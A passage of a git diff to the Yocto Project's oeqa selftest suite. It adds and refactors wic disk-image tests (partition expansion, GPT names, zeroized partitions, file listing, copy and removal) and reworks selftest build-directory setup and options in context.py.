with NamedTemporaryFile("w", suffix=".wic-sparse") as sparse:
@@ -1081,12 +1384,148 @@ class Wic2(WicTestCase):
self.assertEqual(dest_stat.st_blocks, 8)
os.unlink(dest)
+ def test_mkfs_extraopts(self):
+ """Test wks option --mkfs-extraopts for empty and not empty partitions"""
+ img = 'core-image-minimal'
+ with NamedTemporaryFile("w", suffix=".wks") as wks:
+ wks.writelines(
+ ['part ext2 --fstype ext2 --source rootfs --mkfs-extraopts "-D -F -i 8192"\n',
+ "part btrfs --fstype btrfs --source rootfs --size 40M --mkfs-extraopts='--quiet'\n",
+ 'part squash --fstype squashfs --source rootfs --mkfs-extraopts "-no-sparse -b 4096"\n',
+ 'part emptyvfat --fstype vfat --size 1M --mkfs-extraopts "-S 1024 -s 64"\n',
+ 'part emptymsdos --fstype msdos --size 1M --mkfs-extraopts "-S 1024 -s 64"\n',
+ 'part emptyext2 --fstype ext2 --size 1M --mkfs-extraopts "-D -F -i 8192"\n',
+ 'part emptybtrfs --fstype btrfs --size 100M --mkfs-extraopts "--mixed -K"\n'])
+ wks.flush()
+ cmd = "wic create %s -e %s -o %s" % (wks.name, img, self.resultdir)
+ runCmd(cmd)
+ wksname = os.path.splitext(os.path.basename(wks.name))[0]
+ out = glob(os.path.join(self.resultdir, "%s-*direct" % wksname))
+ self.assertEqual(1, len(out))
+
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
+ @OETestTag("runqemu")
+ def test_expand_mbr_image(self):
+ """Test wic write --expand command for mbr image"""
+ # build an image
+ config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "directdisk.wks"\n'
+ self.append_config(config)
+ image = 'core-image-minimal'
+ bitbake(image)
+
+ # get path to the image
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME'], image)
+ image_path = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], '%s.wic' % bb_vars['IMAGE_LINK_NAME'])
+
+ self.remove_config(config)
+
+ try:
+ # expand image to 1G
+ new_image_path = None
+ with NamedTemporaryFile(mode='wb', suffix='.wic.exp',
+ dir=bb_vars['DEPLOY_DIR_IMAGE'], delete=False) as sparse:
+ sparse.truncate(1024 ** 3)
+ new_image_path = sparse.name
+
+ sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
+ cmd = "wic write -n %s --expand 1:0 %s %s" % (sysroot, image_path, new_image_path)
+ runCmd(cmd)
+
+ # check if partitions are expanded
+ orig = runCmd("wic ls %s -n %s" % (image_path, sysroot))
+ exp = runCmd("wic ls %s -n %s" % (new_image_path, sysroot))
+ orig_sizes = [int(line.split()[3]) for line in orig.output.split('\n')[1:]]
+ exp_sizes = [int(line.split()[3]) for line in exp.output.split('\n')[1:]]
+ self.assertEqual(orig_sizes[0], exp_sizes[0]) # first partition is not resized
+ self.assertTrue(orig_sizes[1] < exp_sizes[1], msg="Parition size wasn't enlarged (%s vs %s)" % (orig_sizes[1], exp_sizes[1]))
+
+ # Check if all free space is partitioned
+ result = runCmd("%s/usr/sbin/sfdisk -F %s" % (sysroot, new_image_path))
+ self.assertIn("0 B, 0 bytes, 0 sectors", result.output)
+
+ os.rename(image_path, image_path + '.bak')
+ os.rename(new_image_path, image_path)
+
+ # Check if it boots in qemu
+ with runqemu('core-image-minimal', ssh=False, runqemuparams='nographic') as qemu:
+ cmd = "ls /etc/"
+ status, output = qemu.run_serial('true')
+ self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
+ finally:
+ if os.path.exists(new_image_path):
+ os.unlink(new_image_path)
+ if os.path.exists(image_path + '.bak'):
+ os.rename(image_path + '.bak', image_path)
+
+ def test_gpt_partition_name(self):
+ """Test --part-name argument to set partition name in GPT table"""
+ config = 'IMAGE_FSTYPES += "wic"\nWKS_FILE = "test_gpt_partition_name.wks"\n'
+ self.append_config(config)
+ image = 'core-image-minimal'
+ bitbake(image)
+ self.remove_config(config)
+ deploy_dir = get_bb_var('DEPLOY_DIR_IMAGE')
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME'], image)
+ image_path = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], '%s.wic' % bb_vars['IMAGE_LINK_NAME'])
+
+ sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
+
+ # Image is created
+ self.assertTrue(os.path.exists(image_path), "image file %s doesn't exist" % image_path)
+
+ # Check the names of the three partitions
+ # as listed in test_gpt_partition_name.wks
+ result = runCmd("%s/usr/sbin/sfdisk --part-label %s 1" % (sysroot, image_path))
+ self.assertEqual('boot-A', result.output)
+ result = runCmd("%s/usr/sbin/sfdisk --part-label %s 2" % (sysroot, image_path))
+ self.assertEqual('root-A', result.output)
+ # When the --part-name is not defined, the partition name is equal to the --label
+ result = runCmd("%s/usr/sbin/sfdisk --part-label %s 3" % (sysroot, image_path))
+ self.assertEqual('ext-space', result.output)
+
+ def test_empty_zeroize_plugin(self):
+ img = 'core-image-minimal'
+ expected_size = [ 1024*1024, # 1M
+ 512*1024, # 512K
+ 2*1024*1024] # 2M
+ # Check combination of sourceparams
+ with NamedTemporaryFile("w", suffix=".wks") as wks:
+ wks.writelines(
+ ['part empty --source empty --sourceparams="fill" --ondisk sda --fixed-size 1M\n',
+ 'part empty --source empty --sourceparams="size=512K" --ondisk sda --size 1M --align 1024\n',
+ 'part empty --source empty --sourceparams="size=2048k,bs=512K" --ondisk sda --size 4M --align 1024\n'
+ ])
+ wks.flush()
+ cmd = "wic create %s -e %s -o %s" % (wks.name, img, self.resultdir)
+ runCmd(cmd)
+ wksname = os.path.splitext(os.path.basename(wks.name))[0]
+ wicout = glob(os.path.join(self.resultdir, "%s-*direct" % wksname))
+ # Skip the complete image and just look at the single partitions
+ for idx, value in enumerate(wicout[1:]):
+ self.logger.info(wicout[idx])
+ # Check if partitions are actually zeroized
+ with open(wicout[idx], mode="rb") as fd:
+ ba = bytearray(fd.read())
+ for b in ba:
+ self.assertEqual(b, 0)
+ self.assertEqual(expected_size[idx], os.path.getsize(wicout[idx]))
+
+ # Check inconsistancy check between "fill" and "--size" parameter
+ with NamedTemporaryFile("w", suffix=".wks") as wks:
+ wks.writelines(['part empty --source empty --sourceparams="fill" --ondisk sda --size 1M\n'])
+ wks.flush()
+ cmd = "wic create %s -e %s -o %s" % (wks.name, img, self.resultdir)
+ result = runCmd(cmd, ignore_status=True)
+ self.assertIn("Source parameter 'fill' only works with the '--fixed-size' option, exiting.", result.output)
+ self.assertNotEqual(0, result.status)
+
+class ModifyTests(WicTestCase):
def test_wic_ls(self):
"""Test listing image content using 'wic ls'"""
runCmd("wic create wictestdisk "
"--image-name=core-image-minimal "
"-D -o %s" % self.resultdir)
- images = glob(self.resultdir + "wictestdisk-*.direct")
+ images = glob(os.path.join(self.resultdir, "wictestdisk-*.direct"))
self.assertEqual(1, len(images))
sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
@@ -1104,7 +1543,7 @@ class Wic2(WicTestCase):
runCmd("wic create wictestdisk "
"--image-name=core-image-minimal "
"-D -o %s" % self.resultdir)
- images = glob(self.resultdir + "wictestdisk-*.direct")
+ images = glob(os.path.join(self.resultdir, "wictestdisk-*.direct"))
self.assertEqual(1, len(images))
sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
@@ -1122,7 +1561,7 @@ class Wic2(WicTestCase):
# check if file is there
result = runCmd("wic ls %s:1/ -n %s" % (images[0], sysroot))
self.assertEqual(7, len(result.output.split('\n')))
- self.assertTrue(os.path.basename(testfile.name) in result.output)
+ self.assertIn(os.path.basename(testfile.name), result.output)
# prepare directory
testdir = os.path.join(self.resultdir, 'wic-test-cp-dir')
@@ -1136,13 +1575,13 @@ class Wic2(WicTestCase):
# check if directory is there
result = runCmd("wic ls %s:1/ -n %s" % (images[0], sysroot))
self.assertEqual(8, len(result.output.split('\n')))
- self.assertTrue(os.path.basename(testdir) in result.output)
+ self.assertIn(os.path.basename(testdir), result.output)
# copy the file from the partition and check if it success
dest = '%s-cp' % testfile.name
runCmd("wic cp %s:1/%s %s -n %s" % (images[0],
os.path.basename(testfile.name), dest, sysroot))
- self.assertTrue(os.path.exists(dest))
+ self.assertTrue(os.path.exists(dest), msg="File %s wasn't generated as expected" % dest)
def test_wic_rm(self):
@@ -1150,105 +1589,35 @@ class Wic2(WicTestCase):
runCmd("wic create mkefidisk "
"--image-name=core-image-minimal "
"-D -o %s" % self.resultdir)
- images = glob(self.resultdir + "mkefidisk-*.direct")
+ images = glob(os.path.join(self.resultdir, "mkefidisk-*.direct"))
self.assertEqual(1, len(images))
sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
+ # Not bulletproof but hopefully sufficient
+ kerneltype = get_bb_var('KERNEL_IMAGETYPE', 'virtual/kernel')
# list directory content of the first partition
result = runCmd("wic ls %s:1 -n %s" % (images[0], sysroot))
- self.assertIn('\nBZIMAGE ', result.output)
+ self.assertIn('\n%s ' % kerneltype.upper(), result.output)
self.assertIn('\nEFI <DIR> ', result.output)
- # remove file
- runCmd("wic rm %s:1/bzimage -n %s" % (images[0], sysroot))
+ # remove file. EFI partitions are case-insensitive so exercise that too
+ runCmd("wic rm %s:1/%s -n %s" % (images[0], kerneltype.lower(), sysroot))
# remove directory
runCmd("wic rm %s:1/efi -n %s" % (images[0], sysroot))
# check if they're removed
result = runCmd("wic ls %s:1 -n %s" % (images[0], sysroot))
- self.assertNotIn('\nBZIMAGE ', result.output)
+ self.assertNotIn('\n%s ' % kerneltype.upper(), result.output)
self.assertNotIn('\nEFI <DIR> ', result.output)
- def test_mkfs_extraopts(self):
- """Test wks option --mkfs-extraopts for empty and not empty partitions"""
- img = 'core-image-minimal'
- with NamedTemporaryFile("w", suffix=".wks") as wks:
- wks.writelines(
- ['part ext2 --fstype ext2 --source rootfs --mkfs-extraopts "-D -F -i 8192"\n',
- "part btrfs --fstype btrfs --source rootfs --size 40M --mkfs-extraopts='--quiet'\n",
- 'part squash --fstype squashfs --source rootfs --mkfs-extraopts "-no-sparse -b 4096"\n',
- 'part emptyvfat --fstype vfat --size 1M --mkfs-extraopts "-S 1024 -s 64"\n',
- 'part emptymsdos --fstype msdos --size 1M --mkfs-extraopts "-S 1024 -s 64"\n',
- 'part emptyext2 --fstype ext2 --size 1M --mkfs-extraopts "-D -F -i 8192"\n',
- 'part emptybtrfs --fstype btrfs --size 100M --mkfs-extraopts "--mixed -K"\n'])
- wks.flush()
- cmd = "wic create %s -e %s -o %s" % (wks.name, img, self.resultdir)
- runCmd(cmd)
- wksname = os.path.splitext(os.path.basename(wks.name))[0]
- out = glob(self.resultdir + "%s-*direct" % wksname)
- self.assertEqual(1, len(out))
-
- def test_expand_mbr_image(self):
- """Test wic write --expand command for mbr image"""
- # build an image
- config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "directdisk.wks"\n'
- self.append_config(config)
- self.assertEqual(0, bitbake('core-image-minimal').status)
-
- # get path to the image
- bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'MACHINE'])
- deploy_dir = bb_vars['DEPLOY_DIR_IMAGE']
- machine = bb_vars['MACHINE']
- image_path = os.path.join(deploy_dir, 'core-image-minimal-%s.wic' % machine)
-
- self.remove_config(config)
-
- try:
- # expand image to 1G
- new_image_path = None
- with NamedTemporaryFile(mode='wb', suffix='.wic.exp',
- dir=deploy_dir, delete=False) as sparse:
- sparse.truncate(1024 ** 3)
- new_image_path = sparse.name
-
- sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
- cmd = "wic write -n %s --expand 1:0 %s %s" % (sysroot, image_path, new_image_path)
- runCmd(cmd)
-
- # check if partitions are expanded
- orig = runCmd("wic ls %s -n %s" % (image_path, sysroot))
- exp = runCmd("wic ls %s -n %s" % (new_image_path, sysroot))
- orig_sizes = [int(line.split()[3]) for line in orig.output.split('\n')[1:]]
- exp_sizes = [int(line.split()[3]) for line in exp.output.split('\n')[1:]]
- self.assertEqual(orig_sizes[0], exp_sizes[0]) # first partition is not resized
- self.assertTrue(orig_sizes[1] < exp_sizes[1])
-
- # Check if all free space is partitioned
- result = runCmd("%s/usr/sbin/sfdisk -F %s" % (sysroot, new_image_path))
- self.assertTrue("0 B, 0 bytes, 0 sectors" in result.output)
-
- os.rename(image_path, image_path + '.bak')
- os.rename(new_image_path, image_path)
-
- # Check if it boots in qemu
- with runqemu('core-image-minimal', ssh=False) as qemu:
- cmd = "ls /etc/"
- status, output = qemu.run_serial('true')
- self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
- finally:
- if os.path.exists(new_image_path):
- os.unlink(new_image_path)
- if os.path.exists(image_path + '.bak'):
- os.rename(image_path + '.bak', image_path)
-
def test_wic_ls_ext(self):
"""Test listing content of the ext partition using 'wic ls'"""
runCmd("wic create wictestdisk "
"--image-name=core-image-minimal "
"-D -o %s" % self.resultdir)
- images = glob(self.resultdir + "wictestdisk-*.direct")
+ images = glob(os.path.join(self.resultdir, "wictestdisk-*.direct"))
self.assertEqual(1, len(images))
sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
@@ -1256,14 +1625,14 @@ class Wic2(WicTestCase):
# list directory content of the second ext4 partition
result = runCmd("wic ls %s:2/ -n %s" % (images[0], sysroot))
self.assertTrue(set(['bin', 'home', 'proc', 'usr', 'var', 'dev', 'lib', 'sbin']).issubset(
- set(line.split()[-1] for line in result.output.split('\n') if line)))
+ set(line.split()[-1] for line in result.output.split('\n') if line)), msg="Expected directories not present %s" % result.output)
def test_wic_cp_ext(self):
"""Test copy files and directories to the ext partition."""
runCmd("wic create wictestdisk "
"--image-name=core-image-minimal "
"-D -o %s" % self.resultdir)
- images = glob(self.resultdir + "wictestdisk-*.direct")
+ images = glob(os.path.join(self.resultdir, "wictestdisk-*.direct"))
self.assertEqual(1, len(images))
sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
@@ -1271,7 +1640,7 @@ class Wic2(WicTestCase):
# list directory content of the ext4 partition
result = runCmd("wic ls %s:2/ -n %s" % (images[0], sysroot))
dirs = set(line.split()[-1] for line in result.output.split('\n') if line)
- self.assertTrue(set(['bin', 'home', 'proc', 'usr', 'var', 'dev', 'lib', 'sbin']).issubset(dirs))
+ self.assertTrue(set(['bin', 'home', 'proc', 'usr', 'var', 'dev', 'lib', 'sbin']).issubset(dirs), msg="Expected directories not present %s" % dirs)
with NamedTemporaryFile("w", suffix=".wic-cp") as testfile:
testfile.write("test")
@@ -1286,12 +1655,12 @@ class Wic2(WicTestCase):
# check if the file to copy is in the partition
result = runCmd("wic ls %s:2/etc/ -n %s" % (images[0], sysroot))
- self.assertTrue('fstab' in [line.split()[-1] for line in result.output.split('\n') if line])
+ self.assertIn('fstab', [line.split()[-1] for line in result.output.split('\n') if line])
# copy file from the partition, replace the temporary file content with it and
# check for the file size to validate the copy
runCmd("wic cp %s:2/etc/fstab %s -n %s" % (images[0], testfile.name, sysroot))
- self.assertTrue(os.stat(testfile.name).st_size > 0)
+ self.assertTrue(os.stat(testfile.name).st_size > 0, msg="Filesize not as expected %s" % os.stat(testfile.name).st_size)
def test_wic_rm_ext(self):
@@ -1299,25 +1668,25 @@ class Wic2(WicTestCase):
runCmd("wic create mkefidisk "
"--image-name=core-image-minimal "
"-D -o %s" % self.resultdir)
- images = glob(self.resultdir + "mkefidisk-*.direct")
+ images = glob(os.path.join(self.resultdir, "mkefidisk-*.direct"))
self.assertEqual(1, len(images))
sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
# list directory content of the /etc directory on ext4 partition
result = runCmd("wic ls %s:2/etc/ -n %s" % (images[0], sysroot))
- self.assertTrue('fstab' in [line.split()[-1] for line in result.output.split('\n') if line])
+ self.assertIn('fstab', [line.split()[-1] for line in result.output.split('\n') if line])
# remove file
runCmd("wic rm %s:2/etc/fstab -n %s" % (images[0], sysroot))
# check if it's removed
result = runCmd("wic ls %s:2/etc/ -n %s" % (images[0], sysroot))
- self.assertTrue('fstab' not in [line.split()[-1] for line in result.output.split('\n') if line])
+ self.assertNotIn('fstab', [line.split()[-1] for line in result.output.split('\n') if line])
# remove non-empty directory
runCmd("wic rm -r %s:2/etc/ -n %s" % (images[0], sysroot))
# check if it's removed
result = runCmd("wic ls %s:2/ -n %s" % (images[0], sysroot))
- self.assertTrue('etc' not in [line.split()[-1] for line in result.output.split('\n') if line])
+ self.assertNotIn('etc', [line.split()[-1] for line in result.output.split('\n') if line])
diff --git a/meta/lib/oeqa/selftest/cases/wrapper.py b/meta/lib/oeqa/selftest/cases/wrapper.py
new file mode 100644
index 0000000000..f2be44262c
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/wrapper.py
@@ -0,0 +1,16 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake
+
+class WrapperTests(OESelftestTestCase):
+ def test_shebang_wrapper(self):
+ """
+ Summary: Build a recipe which will fail if the cmdline_shebang_wrapper function is defective.
+ Expected: Exit status to be 0.
+ Author: Paulo Neves <ptsneves@gmail.com>
+ """
+ res = bitbake("cmdline-shebang-wrapper-test -c install", ignore_status=False)
diff --git a/meta/lib/oeqa/selftest/cases/yoctotestresultsquerytests.py b/meta/lib/oeqa/selftest/cases/yoctotestresultsquerytests.py
new file mode 100644
index 0000000000..312edb6431
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/yoctotestresultsquerytests.py
@@ -0,0 +1,39 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os
+import sys
+import subprocess
+import shutil
+from oeqa.selftest.case import OESelftestTestCase
+from yocto_testresults_query import get_sha1, create_workdir
+basepath = os.path.abspath(os.path.dirname(__file__) + '/../../../../../')
+lib_path = basepath + '/scripts/lib'
+sys.path = sys.path + [lib_path]
+
+
+class TestResultsQueryTests(OESelftestTestCase):
+ def test_get_sha1(self):
+ test_data_get_sha1 = [
+ {"input": "yocto-4.0", "expected": "00cfdde791a0176c134f31e5a09eff725e75b905"},
+ {"input": "4.1_M1", "expected": "95066dde6861ee08fdb505ab3e0422156cc24fae"},
+ ]
+ for data in test_data_get_sha1:
+ test_name = data["input"]
+ with self.subTest(f"Test SHA1 from {test_name}"):
+ self.assertEqual(
+ get_sha1(basepath, data["input"]), data["expected"])
+
+ def test_create_workdir(self):
+ workdir = create_workdir()
+ try:
+ url = subprocess.check_output(
+ ["git", "-C", workdir, "remote", "get-url", "origin"]).strip().decode("utf-8")
+ except:
+ shutil.rmtree(workdir, ignore_errors=True)
+ self.fail(f"Can not execute git commands in {workdir}")
+ shutil.rmtree(workdir)
+ self.assertEqual(url, "git://git.yoctoproject.org/yocto-testresults")
diff --git a/meta/lib/oeqa/selftest/context.py b/meta/lib/oeqa/selftest/context.py
index 23f7d71bdb..57844b289a 100644
--- a/meta/lib/oeqa/selftest/context.py
+++ b/meta/lib/oeqa/selftest/context.py
@@ -16,30 +16,43 @@ from random import choice
import oeqa
import oe
import bb.utils
+import bb.tinfoil
from oeqa.core.context import OETestContext, OETestContextExecutor
from oeqa.core.exception import OEQAPreRun, OEQATestNotFound
from oeqa.utils.commands import runCmd, get_bb_vars, get_test_layer
+OESELFTEST_METADATA=["run_all_tests", "run_tests", "skips", "machine", "select_tags", "exclude_tags"]
+
+def get_oeselftest_metadata(args):
+ result = {}
+ raw_args = vars(args)
+ for metadata in OESELFTEST_METADATA:
+ if metadata in raw_args:
+ result[metadata] = raw_args[metadata]
+
+ return result
+
class NonConcurrentTestSuite(unittest.TestSuite):
- def __init__(self, suite, processes, setupfunc, removefunc):
+ def __init__(self, suite, processes, setupfunc, removefunc, bb_vars):
super().__init__([suite])
self.processes = processes
self.suite = suite
self.setupfunc = setupfunc
self.removefunc = removefunc
+ self.bb_vars = bb_vars
def run(self, result):
(builddir, newbuilddir) = self.setupfunc("-st", None, self.suite)
ret = super().run(result)
os.chdir(builddir)
- if newbuilddir and ret.wasSuccessful():
+ if newbuilddir and ret.wasSuccessful() and self.removefunc:
self.removefunc(newbuilddir)
def removebuilddir(d):
delay = 5
- while delay and os.path.exists(d + "/bitbake.lock"):
+ while delay and (os.path.exists(d + "/bitbake.lock") or os.path.exists(d + "/cache/hashserv.db-wal")):
time.sleep(1)
delay = delay - 1
# Deleting these directories takes a lot of time, use autobuilder
@@ -54,18 +67,26 @@ def removebuilddir(d):
bb.utils.prunedir(d, ionice=True)
class OESelftestTestContext(OETestContext):
- def __init__(self, td=None, logger=None, machines=None, config_paths=None, newbuilddir=None):
+ def __init__(self, td=None, logger=None, machines=None, config_paths=None, newbuilddir=None, keep_builddir=None):
super(OESelftestTestContext, self).__init__(td, logger)
- self.machines = machines
- self.custommachine = None
self.config_paths = config_paths
self.newbuilddir = newbuilddir
+ if keep_builddir:
+ self.removebuilddir = None
+ else:
+ self.removebuilddir = removebuilddir
+
+ def set_variables(self, vars):
+ self.bb_vars = vars
+
def setup_builddir(self, suffix, selftestdir, suite):
+ sstatedir = self.bb_vars['SSTATE_DIR']
+
builddir = os.environ['BUILDDIR']
if not selftestdir:
- selftestdir = get_test_layer()
+ selftestdir = get_test_layer(self.bb_vars['BBLAYERS'])
if self.newbuilddir:
newbuilddir = os.path.join(self.newbuilddir, 'build' + suffix)
else:
@@ -81,15 +102,30 @@ class OESelftestTestContext(OETestContext):
oe.path.copytree(builddir + "/cache", newbuilddir + "/cache")
oe.path.copytree(selftestdir, newselftestdir)
- for e in os.environ:
- if builddir + "/" in os.environ[e] or os.environ[e].endswith(builddir):
- os.environ[e] = os.environ[e].replace(builddir, newbuilddir)
-
- subprocess.check_output("git init; git add *; git commit -a -m 'initial'", cwd=newselftestdir, shell=True)
+ subprocess.check_output("git init && git add * && git commit -a -m 'initial'", cwd=newselftestdir, shell=True)
# Tried to used bitbake-layers add/remove but it requires recipe parsing and hence is too slow
subprocess.check_output("sed %s/conf/bblayers.conf -i -e 's#%s#%s#g'" % (newbuilddir, selftestdir, newselftestdir), cwd=newbuilddir, shell=True)
+ # Relative paths in BBLAYERS only works when the new build dir share the same ascending node
+ if self.newbuilddir:
+ bblayers = subprocess.check_output("bitbake-getvar --value BBLAYERS | tail -1", cwd=builddir, shell=True, text=True)
+ if '..' in bblayers:
+ bblayers_abspath = [os.path.abspath(path) for path in bblayers.split()]
+ with open("%s/conf/bblayers.conf" % newbuilddir, "a") as f:
+ newbblayers = "# new bblayers to be used by selftest in the new build dir '%s'\n" % newbuilddir
+ newbblayers += 'BBLAYERS = "%s"\n' % ' '.join(bblayers_abspath)
+ f.write(newbblayers)
+
+ for e in os.environ:
+ if builddir + "/" in os.environ[e]:
+ os.environ[e] = os.environ[e].replace(builddir + "/", newbuilddir + "/")
+ if os.environ[e].endswith(builddir):
+ os.environ[e] = os.environ[e].replace(builddir, newbuilddir)
+
+ # Set SSTATE_DIR to match the parent SSTATE_DIR
+ subprocess.check_output("echo 'SSTATE_DIR ?= \"%s\"' >> %s/conf/local.conf" % (sstatedir, newbuilddir), cwd=newbuilddir, shell=True)
+
os.chdir(newbuilddir)
def patch_test(t):
@@ -117,17 +153,11 @@ class OESelftestTestContext(OETestContext):
if processes:
from oeqa.core.utils.concurrencytest import ConcurrentTestSuite
- return ConcurrentTestSuite(suites, processes, self.setup_builddir, removebuilddir)
+ return ConcurrentTestSuite(suites, processes, self.setup_builddir, self.removebuilddir, self.bb_vars)
else:
- return NonConcurrentTestSuite(suites, processes, self.setup_builddir, removebuilddir)
+ return NonConcurrentTestSuite(suites, processes, self.setup_builddir, self.removebuilddir, self.bb_vars)
def runTests(self, processes=None, machine=None, skips=[]):
- if machine:
- self.custommachine = machine
- if machine == 'random':
- self.custommachine = choice(self.machines)
- self.logger.info('Run tests with custom MACHINE set to: %s' % \
- self.custommachine)
return super(OESelftestTestContext, self).runTests(processes, skips)
def listTests(self, display_type, machine=None):
@@ -147,9 +177,6 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
group.add_argument('-a', '--run-all-tests', default=False,
action="store_true", dest="run_all_tests",
help='Run all (unhidden) tests')
- group.add_argument('-R', '--skip-tests', required=False, action='store',
- nargs='+', dest="skips", default=None,
- help='Run all (unhidden) tests except the ones specified. Format should be <module>[.<class>[.<test_method>]]')
group.add_argument('-r', '--run-tests', required=False, action='store',
nargs='+', dest="run_tests", default=None,
help='Select what tests to run (modules, classes or test methods). Format should be: <module>.<class>.<test_method>')
@@ -164,12 +191,12 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
action="store_true", default=False,
help='List all available tests.')
+ parser.add_argument('-R', '--skip-tests', required=False, action='store',
+ nargs='+', dest="skips", default=None,
+ help='Skip the tests specified. Format should be <module>[.<class>[.<test_method>]]')
parser.add_argument('-j', '--num-processes', dest='processes', action='store',
type=int, help="number of processes to execute in parallel with")
- parser.add_argument('--machine', required=False, choices=['random', 'all'],
- help='Run tests on different machines (random/all).')
-
parser.add_argument('-t', '--select-tag', dest="select_tags",
action='append', default=None,
help='Filter all (unhidden) tests to any that match any of the specified tag(s).')
@@ -177,24 +204,13 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
action='append', default=None,
help='Exclude all (unhidden) tests that match any of the specified tag(s). (exclude applies before select)')
+ parser.add_argument('-K', '--keep-builddir', action='store_true',
+ help='Keep the test build directory even if all tests pass')
+
parser.add_argument('-B', '--newbuilddir', help='New build directory to use for tests.')
parser.add_argument('-v', '--verbose', action='store_true')
parser.set_defaults(func=self.run)
- def _get_available_machines(self):
- machines = []
-
- bbpath = self.tc_kwargs['init']['td']['BBPATH'].split(':')
-
- for path in bbpath:
- found_machines = glob.glob(os.path.join(path, 'conf', 'machine', '*.conf'))
- if found_machines:
- for i in found_machines:
- # eg: '/home/<user>/poky/meta-intel/conf/machine/intel-core2-32.conf'
- machines.append(os.path.splitext(os.path.basename(i))[0])
-
- return machines
-
def _get_cases_paths(self, bbpath):
cases_paths = []
for layer in bbpath:
@@ -225,15 +241,15 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
args.list_tests = 'name'
self.tc_kwargs['init']['td'] = bbvars
- self.tc_kwargs['init']['machines'] = self._get_available_machines()
builddir = os.environ.get("BUILDDIR")
self.tc_kwargs['init']['config_paths'] = {}
- self.tc_kwargs['init']['config_paths']['testlayer_path'] = get_test_layer()
+ self.tc_kwargs['init']['config_paths']['testlayer_path'] = get_test_layer(bbvars["BBLAYERS"])
self.tc_kwargs['init']['config_paths']['builddir'] = builddir
self.tc_kwargs['init']['config_paths']['localconf'] = os.path.join(builddir, "conf/local.conf")
self.tc_kwargs['init']['config_paths']['bblayers'] = os.path.join(builddir, "conf/bblayers.conf")
self.tc_kwargs['init']['newbuilddir'] = args.newbuilddir
+ self.tc_kwargs['init']['keep_builddir'] = args.keep_builddir
def tag_filter(tags):
if args.exclude_tags:
@@ -264,14 +280,14 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
os.chdir(builddir)
if not "meta-selftest" in self.tc.td["BBLAYERS"]:
- self.tc.logger.warning("meta-selftest layer not found in BBLAYERS, adding it")
+ self.tc.logger.info("meta-selftest layer not found in BBLAYERS, adding it")
meta_selftestdir = os.path.join(
self.tc.td["BBLAYERS_FETCH_DIR"], 'meta-selftest')
if os.path.isdir(meta_selftestdir):
- runCmd("bitbake-layers add-layer %s" %meta_selftestdir)
+ runCmd("bitbake-layers add-layer %s" % meta_selftestdir)
# reload data is needed because a meta-selftest layer was add
self.tc.td = get_bb_vars()
- self.tc.config_paths['testlayer_path'] = get_test_layer()
+ self.tc.config_paths['testlayer_path'] = get_test_layer(self.tc.td["BBLAYERS"])
else:
self.tc.logger.error("could not locate meta-selftest in:\n%s" % meta_selftestdir)
raise OEQAPreRun
@@ -309,8 +325,15 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
_add_layer_libs()
- self.tc.logger.info("Running bitbake -e to test the configuration is valid/parsable")
- runCmd("bitbake -e")
+ self.tc.logger.info("Checking base configuration is valid/parsable")
+
+ with bb.tinfoil.Tinfoil(tracking=True) as tinfoil:
+ tinfoil.prepare(quiet=2, config_only=True)
+ d = tinfoil.config_data
+ vars = {}
+ vars['SSTATE_DIR'] = str(d.getVar('SSTATE_DIR'))
+ vars['BBLAYERS'] = str(d.getVar('BBLAYERS'))
+ self.tc.set_variables(vars)
def get_json_result_dir(self, args):
json_result_dir = os.path.join(self.tc.td["LOG_DIR"], 'oeqa')
@@ -323,12 +346,14 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
import platform
from oeqa.utils.metadata import metadata_from_bb
metadata = metadata_from_bb()
+ oeselftest_metadata = get_oeselftest_metadata(args)
configuration = {'TEST_TYPE': 'oeselftest',
'STARTTIME': args.test_start_time,
'MACHINE': self.tc.td["MACHINE"],
'HOST_DISTRO': oe.lsb.distro_identifier().replace(' ', '-'),
'HOST_NAME': metadata['hostname'],
- 'LAYERS': metadata['layers']}
+ 'LAYERS': metadata['layers'],
+ 'OESELFTEST_METADATA': oeselftest_metadata}
return configuration
def get_result_id(self, configuration):
@@ -363,37 +388,14 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
rc = None
try:
- if args.machine:
- logger.info('Custom machine mode enabled. MACHINE set to %s' %
- args.machine)
-
- if args.machine == 'all':
- results = []
- for m in self.tc_kwargs['init']['machines']:
- self.tc_kwargs['run']['machine'] = m
- results.append(self._internal_run(logger, args))
-
- # XXX: the oe-selftest script only needs to know if one
- # machine run fails
- for r in results:
- rc = r
- if not r.wasSuccessful():
- break
-
- else:
- self.tc_kwargs['run']['machine'] = args.machine
- return self._internal_run(logger, args)
-
